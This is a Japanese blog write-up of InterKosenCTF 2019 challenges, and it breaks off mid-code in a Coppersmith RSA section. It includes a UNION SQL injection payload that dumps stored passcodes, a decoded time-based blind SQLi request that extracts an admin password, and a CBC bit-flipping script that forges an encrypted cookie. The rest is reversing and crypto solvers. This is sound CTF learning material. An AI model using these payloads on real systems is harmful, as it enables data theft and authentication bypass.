satto1237’s diary

s4tt01237’s diary

ラーメンとかCTFとかセキュリティとか

InterKosenCTF Write-up

はじめに

2019/08/11 ~ 2019/08/12に開催されたInterKosenCTFに個人で参加しました.

成績

チーム単位だと18位(91チーム中)でした.

個人だと9位だったみたいです .

f:id:satto1237:20190813170159p:plain

Welcome

Welcome [warmup, 200pts, 77solved]

Join in our slack and get the flag!

アプローチ:Slackにjoinする

KosenCTF{g3t_r34dy_f0r_InterKosenCTF_2019}

Web

uploader [warmup, 227pts, 34solved]

UPLOADER

f:id:satto1237:20190813170948p:plain

アプローチ:searchでSQLi

Webサイトの特徴をまとめると以下のようになります.

  • ファイルアップロード機能を有する
  • ファイルアップロード時にはダウンロード用パスワードの入力が必須
  • キーワードによるアップロード済みファイルの検索機能を有する
  • 既にsecret_fileがアップロード済み

これらの特徴からsecret_fileのダウンロードパスワードを入手すればflagを獲得できると考えられます.

次に検索関連の処理を行っているコードを見てみます.

$files = [];
// search
if (isset($_GET['search'])) {
    $rows = $db->query("SELECT name FROM files WHERE instr(name, '{$_GET['search']}') ORDER BY id DESC");
    foreach ($rows as $row) {
        $files []= $row[0];
    }
}

instr(name, '{$_GET['search']}')SQLiできそうですね.

') UNION SELECT passcode FROM files -- を検索キーワードとして入力することで以下のようなクエリが生成されます.
SELECT name FROM files WHERE instr(name, '') UNION SELECT passcode FROM files -- ORDER BY id DESC
このクエリでファイル名と共にダウンロードパスワードを表示させます.

f:id:satto1237:20190813172913p:plain

the_longer_the_stronger_than_more_complicatedsecret_file のダウンロードパスワードのようです.

secret_fileを開くとflagが書かれていました.

KosenCTF{y0u_sh0u1d_us3_th3_p1ac3h01d3r}

Forensics

Hugtto! [easy, 238pts, 32solved]

Wow! It's random!

steg.py

from PIL import Image
from secret import flag
from datetime import datetime
import tarfile
import sys

import random

random.seed(int(datetime.now().timestamp()))

bin_flag = []
for c in flag:
    for i in range(8):
        bin_flag.append((ord(c) >> i) & 1)

img = Image.open("./emiru.png")
new_img = Image.new("RGB", img.size)

w, h = img.size

i = 0
for x in range(w):
    for y in range(h):
        r, g, b = img.getpixel((x, y))
        rnd = random.randint(0, 2)
        if rnd == 0:
            r = (r & 0xFE) | bin_flag[i % len(bin_flag)]
            new_img.putpixel((x, y), (r, g, b))
        elif rnd == 1:
            g = (g & 0xFE) | bin_flag[i % len(bin_flag)]
            new_img.putpixel((x, y), (r, g, b))
        elif rnd == 2:
            b = (b & 0xFE) | bin_flag[i % len(bin_flag)]
            new_img.putpixel((x, y), (r, g, b))
        i += 1

new_img.save("./steg_emiru.png")
with tarfile.open("stegano.tar.gz", "w:gz") as tar:
    tar.add("./steg_emiru.png")
    tar.add(sys.argv[0])

steg_emiru.png

> file steg_emiru.png
steg_emiru.png: PNG image data, 766 x 1021, 8-bit/color RGB, non-interlaced

アプローチ:seed + exif

steg.pyではflagを1bitずつemiry.pngに埋め込む処理を行っており,この際,乱数によって埋め込み先を決定しています(R, G, Bのいずれかの最下位ビット)
そのため,全探索でflagを得るにはpow(3, len(flag))回の試行が必要になり,現実的な時間での探索は難しいと考えられます(そもそもflag長が分からないので無理).
そこで,全探索は諦めて乱数生成のシードに注目します. コードを確認するとシード値としてint(datetime.now().timestamp())が与えられていることが分かります.
シード値を得ることができれば生成される乱数を再現することができるので関連ファイルのexif情報を確認してみます.

> exiftool steg_emiru.png
ExifTool Version Number         : 11.29
File Name                       : steg_emiru.png
Directory                       : .
File Size                       : 1315 kB
File Modification Date/Time     : 2019:08:06 11:44:18+09:00
File Access Date/Time           : 2019:08:13 18:40:48+09:00
File Inode Change Date/Time     : 2019:08:11 17:32:37+09:00
File Permissions                : rw-r--r--
File Type                       : PNG
File Type Extension             : png
MIME Type                       : image/png
Image Width                     : 766
Image Height                    : 1021
Bit Depth                       : 8
Color Type                      : RGB
Compression                     : Deflate/Inflate
Filter                          : Adaptive
Interlace                       : Noninterlaced
Image Size                      : 766x1021
Megapixels                      : 0.782

2019:08:06 11:44:18+09:00にファイルが編集されたことが確認できます.つまり,2019:08:06 11:44:18+09:00周辺のDate/Timetimestamp()によって乱数生成を再現できます.

ソルバは以下のようになります.

from PIL import Image
from datetime import datetime
import random
from Crypto.Util.number import *

# datetime(2019, 8, 6, 11, 44, 18)
random.seed(int(datetime(2019, 8, 6, 11, 44, 15).timestamp()))

img = Image.open("./steg_emiru.png")
new_img = Image.new("RGB", img.size)

w, h = img.size
msg = ''

for x in range(w):
    for y in range(h):
        r, g, b = img.getpixel((x, y))
        rnd = random.randint(0, 2)
        if rnd == 0:
            msg += str(r & 0x1)
        elif rnd == 1:
            msg += str(g & 0x1)
        elif rnd == 2:
            msg += str(b & 0x1)

flag = long_to_bytes(int(msg[::-1],2)).decode('utf-8')
print(flag[::-1][:68])
> python solve.py
KosenCTF{Her_name_is_EMIRU_AISAKI_who_is_appeared_in_Hugtto!PreCure}

KosenCTF{Her_name_is_EMIRU_AISAKI_who_is_appeared_in_Hugtto!PreCure}

Temple of Time [medium, 285pts, 25solved]

We released our voting system and it's under attack. Can you investigate if the admin credential is stolen?

40142c592afd88a78682234e2d5cada9.pcapng

> file 40142c592afd88a78682234e2d5cada9.pcapng
40142c592afd88a78682234e2d5cada9.pcapng: pcap-ng capture file - version 1.0

アプローチ:Blind SQLiのログをいい感じに処理する

pcapngなのでWireSharkで開きます.

f:id:satto1237:20190813211953p:plain

怪しいリクエストが流れてますね.

GETリクエストをデコードすると以下のようになります.

GET /index.php?portal='OR(SELECT(IF(ORD(SUBSTR((SELECT password FROM Users WHERE username='admin'),1,1))=48,SLEEP(1),'')))

Time-Based Blind SQLiですね.

1つずつリクエストを見ていけばflagを復元できると思いますが,面倒くさいのでPythonにやらせます.

> strings 40142c592afd88a78682234e2d5cada9.pcapng | grep GET > grep_get.txt
> head -n 3 grep_get.txt
x<nGET /index.php?portal=%27OR%28SELECT%28IF%28ORD%28SUBSTR%28%28SELECT+password+FROM+Users+WHERE+username%3D%27admin%27%29%2C1%2C1%29%29%3D48%2CSLEEP%281%29%2C%27%27%29%29%29%23 HTTP/1.1
GET /index.php?portal=%27OR%28SELECT%28IF%28ORD%28SUBSTR%28%28SELECT+password+FROM+Users+WHERE+username%3D%27admin%27%29%2C1%2C1%29%29%3D49%2CSLEEP%281%29%2C%27%27%29%29%29%23 HTTP/1.1
GET /index.php?portal=%27OR%28SELECT%28IF%28ORD%28SUBSTR%28%28SELECT+password+FROM+Users+WHERE+username%3D%27admin%27%29%2C1%2C1%29%29%3D50%2CSLEEP%281%29%2C%27%27%29%29%29%23 HTTP/1.1
import urllib.parse

# EXAMPLE
# GET /index.php?portal='OR(SELECT(IF(ORD(SUBSTR((SELECT+password+FROM+Users+WHERE+username='admin'),37,1))=126,SLEEP(1),'')))# HTTP/1.1

# ASCII
# lines[i].split('=')[3].split(',')[0]
# 126

# COUNT
# lines[i].split('=')[2].split(',')[1]
# 37

with open('grep_get.txt') as f:
    lines = [urllib.parse.unquote(line.strip()) for line in f.readlines()]

attack_query = []
flag = ''

for line in lines:
    if len(line.split('=')) == 4:
        count = line.split('=')[2].split(',')[1]
        ascii = line.split('=')[3].split(',')[0]
        attack_query.append([count,ascii])

prev_query = attack_query[0]
for current_query in attack_query:
    if prev_query[0] != current_query[0]:
        flag += chr(int(prev_query[1],10))
    prev_query = current_query

print(flag)

countが増えたら攻撃が成功したということなのでcountが増える直前のクエリのasciiを集めています.

> python solve.py
KosenCTF{t1m3_b4s3d_4tt4ck_v31ls_1t}

KosenCTF{t1m3_b4s3d_4tt4ck_v31ls_1t}

Reversing

basic crackme [easy, 227pts, 34solved]

Crackme is a challenge to get the input which satisfies the constraints.

> file crackme 
crackme: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, BuildID[sha1]=3dca344245681e2c75d9588284830d858770c1e0, for GNU/Linux 3.2.0, not stripped
> ./crackme 
<usage> ./crackme: <flag>
> ./crackme CawaYui
Try harder!

アプローチ:Ghidraでデコンパイル

main関数をGhidraでデコンパイルすると以下のようになります.

undefined8 main(int iParm1,undefined8 *puParm2)

{
  size_t sVar1;
  long in_FS_OFFSET;
  uint local_d0;
  int local_cc;
  int local_c8 [4];
  undefined4 local_b8;
  undefined4 local_b4;
  undefined4 local_b0;
  undefined4 local_ac;
  undefined4 local_a8;
  undefined4 local_a4;
  undefined4 local_a0;
  undefined4 local_9c;
  undefined4 local_98;
  undefined4 local_94;
  undefined4 local_90;
  undefined4 local_8c;
  undefined4 local_88;
  undefined4 local_84;
  undefined4 local_80;
  undefined4 local_7c;
  undefined4 local_78;
  undefined4 local_74;
  undefined4 local_70;
  undefined4 local_6c;
  undefined4 local_68;
  undefined4 local_64;
  undefined4 local_60;
  undefined4 local_5c;
  undefined4 local_58;
  undefined4 local_54;
  undefined4 local_50;
  undefined4 local_4c;
  undefined4 local_48;
  undefined4 local_44;
  undefined4 local_40;
  undefined4 local_3c;
  undefined4 local_38;
  undefined4 local_34;
  undefined4 local_30;
  long local_20;
  
  local_20 = *(long *)(in_FS_OFFSET + 0x28);
  if (iParm1 < 2) {
    printf("<usage> %s: <flag>\n",*puParm2);
  }
  else {
    local_c8[0] = 0xb4;
    local_c8[1] = 0xf7;
    local_c8[2] = 0x39;
    local_c8[3] = 0x59;
    local_b8 = 0xea;
    local_b4 = 0x39;
    local_b0 = 0x4b;
    local_ac = 0x6b;
    local_a8 = 0xbf;
    local_a4 = 0x80;
    local_a0 = 0x3d;
    local_9c = 0xd1;
    local_98 = 0x42;
    local_94 = 0x10;
    local_90 = 0xe4;
    local_8c = 0x42;
    local_88 = 0x105;
    local_84 = 0x58;
    local_80 = 0x15;
    local_7c = 0x108;
    local_78 = 0xab;
    local_74 = 0x18;
    local_70 = 0xe8;
    local_6c = 0xcd;
    local_68 = 0x1b;
    local_64 = 0xeb;
    local_60 = 0x51;
    local_5c = 0x1e;
    local_58 = 0x111;
    local_54 = 0x44;
    local_50 = 0x51;
    local_4c = 0x86;
    local_48 = 0x53;
    local_44 = 0x48;
    local_40 = 0x59;
    local_3c = 0x36;
    local_38 = 0x10a;
    local_34 = 0x9b;
    local_30 = 0xfd;
    local_d0 = 0;
    local_cc = 0;
    while (sVar1 = strlen((char *)puParm2[1]), (ulong)(long)local_cc < sVar1) {
      local_d0 = local_d0 |
                 ((((int)*(char *)((long)local_cc + puParm2[1]) & 0xfU) << 4 |
                  (int)(*(char *)((long)local_cc + puParm2[1]) >> 4)) + local_cc) -
                 local_c8[(long)local_cc];
      local_cc = local_cc + 1;
    }
    if (local_d0 == 0) {
      puts("Yes. This is the your flag :)");
    }
    else {
      printf("Try harder!");
    }
  }
  if (local_20 == *(long *)(in_FS_OFFSET + 0x28)) {
    return 0;
  }
                    /* WARNING: Subroutine does not return */
  __stack_chk_fail();
}

ざっくりまとめると

((((int)*(char *)((long)local_cc + puParm2[1]) & 0xfU) << 4 | (int)(*(char *)((long)local_cc + puParm2[1]) >> 4)) + local_cc) - local_c8[(long)local_cc];

が0になれば条件を満たすようです.

そのため,条件を満たす文字列を全探索することでflagを得ることができます.
ソルバは以下のようになります.

import string

xs = [0xb4,0xf7,0x39,0x59,0xea,0x39,0x4b,0x6b,0xbf,0x80,0x3d,0xd1,0x42,0x10,0xe4,0x42,0x105,0x58,0x15,0x108,0xab,0x18,0xe8,0xcd,0x1b,0xeb,0x51,0x1e,0x111,0x44,0x51,0x86,0x53,0x48,0x59,0x36,0x10a,0x9b,0xfd]
flag = ''
for i,x in enumerate(xs):
    for s in string.ascii_letters + string.digits + '_-!?#{}':
        check = (((ord(s) & 0xf) << 4) | (ord(s) >> 4)) + i - x
        if check == 0:
            flag += s
            break
print(flag)
> python solve.py
KosenCTF{w3lc0m3_t0_y0-k0-s0_r3v3rs1ng}

KosenCTF{w3lc0m3_t0_y0-k0-s0_r3v3rs1ng}

magic function[easy, 263pts, 28solved]

Rumor has it that three simple functions may generate the flag.

> file chall 
chall: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 3.2.0, BuildID[sha1]=7f3589666f4eca86aca6d787459c5ae93987bb59, not stripped
> ./chall CawaYui
NG

アプローチ:Ghidraでデコンパイル

main関数をGhidraでデコンパイルすると以下のようになります.

undefined8 main(int iParm1,long lParm2)

{
  char cVar1;
  char cVar2;
  char *local_28;
  int local_1c;
  
  if (1 < iParm1) {
    local_1c = 0;
    local_28 = *(char **)(lParm2 + 8);
    while (*local_28 != 0) {
      if (local_1c < 8) {
        cVar1 = *local_28;
        cVar2 = f1();
        if (cVar1 != cVar2) goto LAB_0040087d;
      }
      else {
        if (local_1c < 0x10) {
          cVar1 = *local_28;
          cVar2 = f2();
          if (cVar1 != cVar2) goto LAB_0040087d;
        }
        else {
          cVar1 = *local_28;
          cVar2 = f3((ulong)(local_1c - 0x10));
          if (cVar1 != cVar2) goto LAB_0040087d;
        }
      }
      local_28 = local_28 + 1;
      local_1c = local_1c + 1;
    }
    if (local_1c == 0x18) {
      puts("OK");
      return 0;
    }
  }
LAB_0040087d:
  puts("NG");
  return 1;
}

次にf1()を見ていきます.

undefined8 f1(uint uParm1)

{
  undefined4 extraout_var;
  double __x;
  undefined8 local_48;
  undefined8 local_40;
  undefined8 local_38;
  undefined8 local_30;
  undefined8 local_28;
  undefined8 local_20;
  undefined8 local_18;
  undefined8 local_10;
  
  local_48 = 0x4052c00000000000;
  local_40 = 0xc06af763f572de44;
  local_38 = 0x40834ab05af6c69b;
  local_30 = 0xc0814416c15d2d02;
  local_28 = 0x406cf98e38a7e73a;
  local_20 = 0xc0490416c10ca52a;
  local_18 = 0x4015760b60dc38d1;
  local_10 = 0xbfcced4ed3decb0d;
  __x = (double)f((ulong)uParm1,&local_48,&local_48);
  __x = round(__x);
  return CONCAT44(extraout_var,(int)__x);
}

f1()内のlocal_48 - local_10浮動小数点数の内部表現だと考えられます.

次にf()の処理を確認します.

undefined  [16] f(int iParm1,long lParm2)

{
  double dVar1;
  double dVar2;
  double local_18;
  int local_c;
  
  local_18 = 0.00000000;
  local_c = 0;
  while (local_c < 8) {
    dVar1 = *(double *)(lParm2 + (long)local_c * 8);
    dVar2 = pow((double)iParm1,(double)local_c);
    local_18 = dVar2 * dVar1 + local_18;
    local_c = local_c + 1;
  }
  return ZEXT816((ulong)local_18);
}

どうやらf()はASCIIを返しているようです.
また,f2(), f3()も同様の処理を行っているのでソルバを書いて出力結果を確認してみます.

from Crypto.Util.number import *
import binascii
import struct

def f(p1, p2):
    ret = 0
    count = 0

    while count < 8:
        v1 = struct.unpack('>d', binascii.unhexlify(hex(p2[count])[2:]))[0]
        v2 = pow(p1, count)
        ret += v1 * v2
        count += 1

    return ret

def f1(p1):
    magic = [0x4052c00000000000,0xc06af763f572de44,0x40834ab05af6c69b,0xc0814416c15d2d02,0x406cf98e38a7e73a,0xc0490416c10ca52a,0x4015760b60dc38d1,0xbfcced4ed3decb0d]
    x = f(p1,magic)
    return chr(round(x))

def f2(p1):
      magic = [0x405ec00000000000,0xc086c40000000000,0x40988d360bf5d788,0xc093cb182d38476f,0x407ed11c714fce74,0xc058f471c6ecb8fb,0x4024416c17804f46,0xbfda0b60b59135b7]
      x = f(p1,magic)
      return chr(round(x))
def f3(p1):
      magic = [0x405c000000000000,0xc081178af89c5e70,0x408e8cddddb1209f,0xc0867196c15d2d02,0x40712d5554fbdad7,0xc04c8d27d2ace09e,0x40183bbbbb827794,0xbfd05e45e4187677]
      x = f(p1,magic)
      return chr(round(x))

print(''.join(list(map(f1,range(8)))))
print(''.join(list(map(f2,range(8)))))
print(''.join(list(map(f3,range(8)))))
> python solve.py
KosenCTF
{fl4ggy_
p0lyn0m}

KosenCTF{fl4ggy_p0lyn0m}

favorites[hard, 357pts, 18solved]

What is your favorite? My favorite is ...

 file favorites 
favorites: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, BuildID[sha1]=04682a5ac5fd6fb11c8f04408891974576f47ce1, for GNU/Linux 3.2.0, not stripped
./favorites 
Do you know
 --- the FLAG of this challenge?
 --- my favorite anime?
 --- my favorite character?

Input your guess: CawaYui
No! You are not interested in me, are you?

Ghidraでデコンパイル

flagよりも好きなアニメとキャラクターが気になりますね.

ltraceでライブラリ関数の呼び出しをトレースしてみます.

> ltrace -s 100 ./favorites 
puts("Do you know"Do you know
)                                                  = 12
puts(" --- the FLAG of this challenge?" --- the FLAG of this challenge?
)                             = 33
puts(" --- my favorite anime?" --- my favorite anime?
)                                      = 24
puts(" --- my favorite character?" --- my favorite character?
)                                  = 28
putchar(10, 0x56435dfff260, 0x7fd756e058c0, 0x7fd756b28154
)          = 10
printf("Input your guess: ")                                         = 18
__isoc99_scanf(0x56435c904138, 0x7fffddea1531, 0, 0Input your guess: CawaYui
)                 = 1
sprintf("62c5", "%04x", 0x62c5)                                      = 4
sprintf("7af7", "%04x", 0x7af7)                                      = 4
sprintf("d8a8", "%04x", 0xd8a8)                                      = 4
sprintf("07d7", "%04x", 0x7d7)                                       = 4
sprintf("0d26", "%04x", 0xd26)                                       = 4
sprintf("b2f8", "%04x", 0xb2f8)                                      = 4
sprintf("a407", "%04x", 0xa407)                                      = 4
sprintf("3a81", "%04x", 0x3a81)                                      = 4
sprintf("bb1c", "%04x", 0xbb1c)                                      = 4
sprintf("7a6f", "%04x", 0x7a6f)                                      = 4
sprintf("5136", "%04x", 0x5136)                                      = 4
sprintf("763e", "%04x", 0x763e)                                      = 4
sprintf("84c8", "%04x", 0x84c8)                                      = 4
sprintf("c421", "%04x", 0xc421)                                      = 4
strcmp("62c57af7d8a807d70d26b2f8a4073a81bb1c7a6f5136763e84c8c421", "62d57b27c5d411c45d67a3565f84bd67ad049a64efa694d624340178") = -1
strcmp("62c57af7d8a807d70d26b2f8a4073a81bb1c7a6f5136763e84c8c421", "62b64d65828570c33b25e1e54065524571a54d7583556d76b1767c759036") = 1
strcmp("62c57af7d8a807d70d26b2f8a4073a81bb1c7a6f5136763e84c8c421", "62c64af7db4839d7eeb3d5363e85bb35e826ec56abd5e7d523956bb5") = -1
puts("No! You are not interested in me, are you?"No! You are not interested in me, are you?
)                   = 43
+++ exited (status 0) +++

入力文字列に対して何らかの変換処理を行い,flag, anime, characterの変換結果と比較しています.
次に変換処理の内容を知るためにmain関数をGhidraでデコンパイルします.

undefined8 main(void)

{
  int iVar1;
  long in_FS_OFFSET;
  ushort local_92;
  uint local_90;
  int local_8c;
  ushort auStack136 [16];
  byte local_67 [14];
  undefined local_59;
  undefined8 local_58;
  undefined8 local_50;
  undefined8 local_48;
  undefined8 local_40;
  undefined8 local_38;
  undefined8 local_30;
  undefined8 local_28;
  undefined local_20;
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  local_92 = 0x1234;
  puts("Do you know");
  puts(" --- the FLAG of this challenge?");
  puts(" --- my favorite anime?");
  puts(" --- my favorite character?");
  putchar(10);
  printf("Input your guess: ");
  __isoc99_scanf(&DAT_00102138,local_67);
  local_59 = 0;
  local_90 = 0;
  while ((int)local_90 < 0xe) {
    local_92 = f((ulong)local_67[(long)(int)local_90],(ulong)local_90,(ulong)local_92,
                 (ulong)local_90);
    auStack136[(long)(int)local_90] = local_92;
    local_90 = local_90 + 1;
  }
  local_58 = 0;
  local_50 = 0;
  local_48 = 0;
  local_40 = 0;
  local_38 = 0;
  local_30 = 0;
  local_28 = 0;
  local_20 = 0;
  local_8c = 0;
  while (local_8c < 0xe) {
    sprintf((char *)((long)&local_58 + (long)(local_8c << 2)),"%04x",
            (ulong)auStack136[(long)local_8c]);
    local_8c = local_8c + 1;
  }
  iVar1 = strcmp((char *)&local_58,first);
  if (iVar1 == 0) {
    printf("Congrats! The flag is KosenCTF{%s}!\n",local_67);
  }
  else {
    iVar1 = strcmp((char *)&local_58,second);
    if (iVar1 == 0) {
      puts("Wow! Let\'s see it together now!");
    }
    else {
      iVar1 = strcmp((char *)&local_58,third);
      if (iVar1 == 0) {
        puts("Yes! Do you like too this?");
      }
      else {
        puts("No! You are not interested in me, are you?");
      }
    }
  }
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return 0;
}

main関数では変換処理を行っているf()に文字,index, stateを引数として渡しています.

ulong f(byte bParm1,uint uParm2,ushort uParm3)

{
  return (ulong)(ushort)(((ushort)(bParm1 >> 4) | (ushort)(((ulong)bParm1 & 0xf) << 4)) + 1 ^
                         ((ushort)(uParm2 >> 4) | (ushort)(~uParm2 << 4)) & 0xff |
                        (uParm3 >> 4) << 8 ^
                        (ushort)(((uint)(uParm3 >> 0xc) | (uint)uParm3 << 4) << 8));
}

変換処理の内容が分かったのでflagを全探索します.
以下がソルバです.

#include <stdio.h>

int f(char bParm1, unsigned int uParm2, unsigned short uParm3) {
  return (long)(unsigned short)(((unsigned short)(bParm1 >> 4) | (unsigned short)(((long)bParm1 & 0xf) << 4)) + 1 ^ ((unsigned short)(uParm2 >> 4) | (unsigned short)(~uParm2 << 4)) & 0xff | (uParm3 >> 4) << 8 ^ (unsigned short)(((unsigned int)(uParm3 >> 0xc) | (unsigned int)uParm3 << 4) << 8));
}

int main() {
    int count = 0;
    int state = 0x1234, temp_state;
    int i;
    //flag
    int flag[14] = {0x62d5,0x7b27,0xc5d4,0x11c4,0x5d67,0xa356,0x5f84,0xbd67,0xad04,0x9a64,0xefa6,0x94d6,0x2434,0x0178};
    // anime
    // int flag[15] = {0x62b6,0x4d65,0x8285,0x70c3,0x3b25,0xe1e5,0x4065,0x5245,0x71a5,0x4d75,0x8355,0x6d76,0xb176,0x7c75,0x9036};
    // character
    // int flag[14] = {0x62c6,0x4af7,0xdb48,0x39d7,0xeeb3,0xd536,0x3e85,0xbb35,0xe826,0xec56,0xabd5,0xe7d5,0x2395,0x6bb5};

    while (count < 0xe) {
        for (i = 32; i < 128; i++) {
            temp_state = f(i, count, state);
            if (temp_state == flag[count]) {
                printf("%c", i);
                count++;
                state = temp_state;
            }
        }
    }

    return 0;
}
> ./solve
Bl00m_1n70_Y0u
> ./favorites 
Do you know
 --- the FLAG of this challenge?
 --- my favorite anime?
 --- my favorite character?

Input your guess: Bl00m_1n70_Y0u
Congrats! The flag is KosenCTF{Bl00m_1n70_Y0u}!

KosenCTF{Bl00m_1n70_Y0u}

やがて君になる」,まだ見ていないので今度見てみます.

因みにanimeはTHE IDOLMA@STER, characterはSaya YAKUSHIJIでした.

自分は620646760388b857fe468b25ea07dea86767005885472c38412766d6624572331425132563d30b3833c8bf187a282558d7d700d77d87afb7が好きです.

Crypto

Kurukuru Shuffle [easy, 200pts, 53solved]

Please! My...

shuffle.py

from secret import flag
from random import randrange


def is_prime(N):
    if N % 2 == 0:
        return False
    i = 3
    while i * i < N:
        if N % i == 0:
            return False
        i += 2
    return True


L = len(flag)
assert is_prime(L)

encrypted = list(flag)
k = randrange(1, L)
while True:
    a = randrange(0, L)
    b = randrange(0, L)

    if a != b:
        break

i = k
for _ in range(L):
    s = (i + a) % L
    t = (i + b) % L
    encrypted[s], encrypted[t] = encrypted[t], encrypted[s]
    i = (i + k) % L

encrypted = "".join(encrypted)
print(encrypted)

encrypted

1m__s4sk_s3np41m1r_836lly_cut3_34799u14}1osenCTF{5sKm

アプローチ:全探索

shuffle.pyでは3つのパラメータk, a, bを決定してswap処理を行っています.
3つのパラメータの組み合わせは多く見積もっても533なので全探索が可能です.

以下がソルバになります.

enc = '1m__s4sk_s3np41m1r_836lly_cut3_34799u14}1osenCTF{5sKm'

for k in range(1,53):
    for a in range(53):
        for b in range(53):
            if a == b:
                continue
            encrypted = list(enc)
            i = k
            for _ in range(53):
                s = (i - a) % 53
                t = (i - b) % 53
                encrypted[s], encrypted[t] = encrypted[t], encrypted[s]
                i = (i - k) % 53

            encrypted = "".join(encrypted)

            if encrypted[:9] == 'KosenCTF{' and encrypted[-1] == '}':
                print(encrypted)
                print(k,a,b)
> python solve.py
KosenCTF{5s4m1m1_m4rk_s3np41_1s_s38l9y_cut3_34769l1u}
17 2 15
KosenCTF{5s4m1m1_m4rk_s3np41_1s_s38l9y_cut3_34769l1u}
17 15 2
KosenCTF{us4m1m1_m4sk_s3np41_1s_r34lly_cut3_38769915}
17 21 34
KosenCTF{us4m1m1_m4sk_s3np41_1s_r34lly_cut3_38769915}
17 34 21
KosenCTF{5s4m1m1_m4sk_s3np41_1s_r34l9y_cut3_38769l1u}
17 38 51
KosenCTF{5s4m1m1_m4sk_s3np41_1s_r34l9y_cut3_38769l1u}
17 51 38

grepするとKosenCTF{us4m1m1_m4sk_s3np41_1s_r34lly_cut3_38769915}がそれっぽいことが分かります.

KosenCTF{us4m1m1_m4sk_s3np41_1s_r34lly_cut3_38769915}

Flag Ticket [medium, 400pts, 15solved]

My ticket number for getting the flag is 765876346283. Please check if I can get the flag here.

f:id:satto1237:20190814004019p:plain

f:id:satto1237:20190814003951p:plain

アプローチ:Cookieの改ざん

チケットナンバーを入力してもNot available. I'm sorry.と言われます.

そこで,コードを確認してみます.

<!DOCTYPE html>
<html>
  <head>
    <meta charset="utf-8">
    <title>Flag Ticket</title>
    <link rel="stylesheet" href="{{ api.static_url('style.css') }}">
  </head>
  <body>
    <div id="app">
      <h1>Your ticket:</h1>
      <div>
        <div style="display: inline-block; width: 100px;">Number: </div>
        <div style="display: inline-block;">{{ data.number }}</div>
      </div>
      <div>
        <div style="display: inline-block; width: 100px;">Flag: </div>
        {% if data.is_hit %}
        <div style="display: inline-block; width: 100px;">{{ flag }}</div>
        {% else %}
        <div style="display: inline-block;">Not available. I'm sorry.</div>
        {% endif %}
      </div>

      <p><a href="/exit">exit</a></p>
    </div>
  </body>
</html>
@api.route("/check")
class Check:
    def on_get(self, req, resp):
        resp.html = api.template("check.html")

    async def on_post(self, req, resp):
        form = await req.media("form")
        number = form.get("number", None)
        try:
            _ = int(number)
        except ValueError:
            resp.text = "ERROR: please input your ticket number"
            return

        data = json.dumps({"is_hit": False, "number": number}).encode()
        data = Padding.pad(data, AES.block_size)
        iv = Random.get_random_bytes(AES.block_size)
        aes = AES.new(key, AES.MODE_CBC, iv)
        resp.cookies["result"] = hexlify(iv + aes.encrypt(data)).decode()

        api.redirect(resp, api.url_for(result))

f:id:satto1237:20190814005715p:plain

is_hittrueになるようにCookieを書き換えてあげればいいことが分かります.

CookieCBCモードを利用したAESで暗号化されているので改ざんは比較的簡単に行なえます.

以下がCookie改ざんスクリプトです.

from Crypto.Util import Padding
from Crypto.Cipher import AES
from Crypto import Random
from binascii import hexlify, unhexlify
import json

# sample_json = '{"is_hit": false, "number": 765876346283}'
# attack_json = '{"is_hit":  true, "number": 765876346283}'
result = 'cef97abbed1b1aea90e9a7826d16e63106617ab01c078b2afa6898f1f0661894f30f6f309f6833dd8e167c66facd6c739f3f219899b4225fe9f1ee729b08daf9'
offset = 11
ba = bytearray(unhexlify(result))
ba[offset] =  ba[offset] ^ ord('f') ^ ord(' ')
ba[offset + 1] =  ba[offset + 1] ^ ord('a') ^ ord('t')
ba[offset + 2] =  ba[offset + 2] ^ ord('l') ^ ord('r')
ba[offset + 3] =  ba[offset + 3] ^ ord('s') ^ ord('u')
# ba[offset + 4] =  ba[offset + 4] ^ ord('e') ^ ord('e')

print(hexlify(ba))
> python solve.py
b'cef97abbed1b1aea90e9a7c47808e03106617ab01c078b2afa6898f1f0661894f30f6f309f6833dd8e167c66facd6c739f3f219899b4225fe9f1ee729b08daf9'

あとはCookieをセットしてページをリロードすればflagを取得できます.

f:id:satto1237:20190814010100p:plain

KosenCTF{padding_orca1e_is_common_sense}

E_S_P [hard, 526pts, 9solved]

ESP stands for Erai-Sugoi-Power.

esp.py

from Crypto.Util.number import *
from secret import flag, yukko
import re

assert re.match(r"^KosenCTF{.+}$", flag)

Nbits = 1024
p = getPrime(Nbits)
q = getPrime(Nbits)
n = p * q
e = 5
c = pow(bytes_to_long((yukko + flag).encode()), e, n)

print("N = {}".format(n))
print("e = {}".format(e))

print("Wow Yukko the ESPer helps you!")
print(yukko + "the length of the flag = {}".format(len(flag)))
print("c = {}".format(c))

out.txt

N = 11854673881335985163635072085250462726008700043680492953159905880499045049107244300920837378010293967634187346804588819510452454716310449345364124188546434429828696164683059829613371961906369413632824692460386596396440796094037982036847106649198539914928384344336740248673132551761630930934635177708846275801812766262866211038764067901005598991645254669383536667044207899696798812651232711727007656913524974796752223388636251060509176811628992340395409667867485276506854748446486284884567941298744325375140225629065871881284670017042580911891049944582878712176067643299536863795670582466013430445062571854275812914317
e = 5
Wow Yukko the ESPer helps you!
Yukko the ESPer: My amazing ESP can help you to get the flag! -----> the length of the flag = 39
c = 4463634440284027456262787412050107955746015405738173339169842084094411947848024686618605435207920428398544523395749856128886621999609050969517923590260498735658605434612437570340238503179473934990935761387562516430309061482070214173153260521746487974982738771243619694317033056927553253615957773428298050465636465111581387005937843088303377810901324355859871291148445415087062981636966504953157489531400811741347386262410364012023870718810153108997879632008454853198551879739602978644245278315624539189505388294856981934616914835545783613517326663771942178964492093094767168721842335827464550361019195804098479315147

アプローチ:Coppersmith's Attack (Stereotyped Messages)

超能力アイドルが平文の上位bitと文字列長を教えてくれました.
そのため,Coppersmith's Attack (Stereotyped Messages)が使えます.

# partial_msg.sage

def long_to_bytes(data):
    data = str(hex(long(data)))[2:-1]
    return "".join([chr(int(data[i:i + 2], 16)) for i in range(0, len(data), 2)])

def bytes_to_long(data):
    return int(data.encode('hex'), 16)

